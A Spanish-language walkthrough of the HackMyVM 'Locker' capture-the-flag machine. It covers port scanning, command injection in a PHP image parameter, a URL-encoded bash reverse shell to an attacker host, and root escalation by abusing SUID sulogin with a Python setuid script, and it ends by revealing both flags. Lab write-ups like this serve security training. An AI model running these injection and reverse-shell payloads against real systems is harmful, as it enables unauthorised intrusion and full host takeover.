Locker HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 03:47 EDT
Nmap scan report for 192.168.5.11
Host is up (0.0014s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:4A:3E:24 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.72 secondsVeremos que solo tenemos un puerto 80, si entramos dentro veremos una pagina web normal que pone lo siguiente:

No vemos nada interesante, por lo que vamos a clickar en Model 1 a ver que nos encontramos, echo eso veremos lo siguiente en la pagina:

Pero sobre todo es muy interesante la URL ya que esta utilizando PHP y llamando mediante un parametro image a un numero que se identifica como a la imagen, por lo que vamos a realizar varias pruebas de vulenrabilidades sobre dicho parametro no vaya a ser que se pudiera injectar comandos.
Escalate user www-data
Realizando varias pruebas despues de estar un rato, vemos que concatenando comandos nos funciona, si abrimos BurpSuite y capturamos la peticion, lo mandamos al Repeater y realizamos ahi las pruebas, veremos que si ponemos lo siguiente podremos realizar un RCE.
URL = http://<IP>/locker.php?image=1;id;Probando a poner id solamente, despues concatenandolo, tampoco funcionaba, pero si le pones un ; extra detras, ya si que funciona y veremos lo siguiente en la peticion de respuesta:
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 10 May 2025 07:57:48 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Content-Length: 112
<img src="data:image/jpg;base64,uid=33(www-data) gid=33(www-data) groups=33(www-data)
"width="150"height="150"/>Vemos que nos esta funcionando, por lo que vamos a generar una reverse shell de esta forma:
URL = http://<IP>/locker.php?image=1;bash+%20-c+%20"bash+%20-i+%20>%26+%20/dev/tcp/<IP_ATTACKER>/<PORT>+%200>%261";Ahora nos pondremos a la escucha antes de enviarlo.
nc -lvnp <PORT>Si enviamos la peticion y volvemos a donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.4] from (UNKNOWN) [192.168.5.11] 54772
bash: cannot set terminal process group (362): Inappropriate ioctl for device
bash: no job control in this shell
www-data@locker:~/html$ whoami
whoami
www-dataVeremos que hemos obtenido acceso como el usuario www-data por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Una vez sanitizado todo, vamos a leer la flag del usuario.
Escalate Privileges
Si listamos los permisos SUID que tenemos con dicho usuario, veremos lo siguiente:
find / -type f -perm -4000 -ls 2>/dev/nullInfo:
15884 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign
4639 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
137057 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
3596 48 -rwsr-sr-x 1 root root 47184 Jan 10 2019 /usr/sbin/sulogin
3890 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
62 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
3415 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
59 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
60 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
63 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
3888 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
3562 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/suVemos uno bastante interesante, que es el siguiente:
3596 48 -rwsr-sr-x 1 root root 47184 Jan 10 2019 /usr/sbin/suloginVamos a investigar que hace dicho binario.
Si investigamos un poco cuando se ejecuta el binario entramos en un interpreter en el que podemos ejecutar comandos, pero al tener esta shell dentro de un contenedor de la maquina victima no va a funcionar a parte de que esta como bloqueado, pero si investigamos con el parametro -e podemos forzar esa ejecuccion y tendremos que exportar la variable de entorno SUSHELL para poner el script que queremos que ejecute para poder obtener acceso a root, por lo que haremos lo siguiente:
cd /tmpbash.py
#!/bin/python3
import os
os.setuid(0)
os.setgid(0)
print("Obteniendo Bash como root...")
os.system('/bin/bash')
print("Ya eres root!!")Lo guardamos y establecemos permisos de ejecuccion:
chmod +x bash.pyEcho esto tendremos que exportar la variable de entorno a la de la ruta de /tmp con el script de python.
export SUSHELL=/tmp/bash.pyEcho esto, podremos ejecutar el binario con permisos de SUID pero haciendolo de una manera forzada con el parametro -e.
/usr/sbin/sulogin -eInfo:
Press Enter for maintenance
(or press Control-D to continue): # Dejamos el campo vacio y le damos a "ENTER"
Obteniendo Bash como root...
root@locker:~# whoami
rootCon esto veremos que ya seremos root, por lo que leeremos las 2 flags la del usuario y la de root.
user.txt
flaglockeryesroot.txt
igotroothereLast updated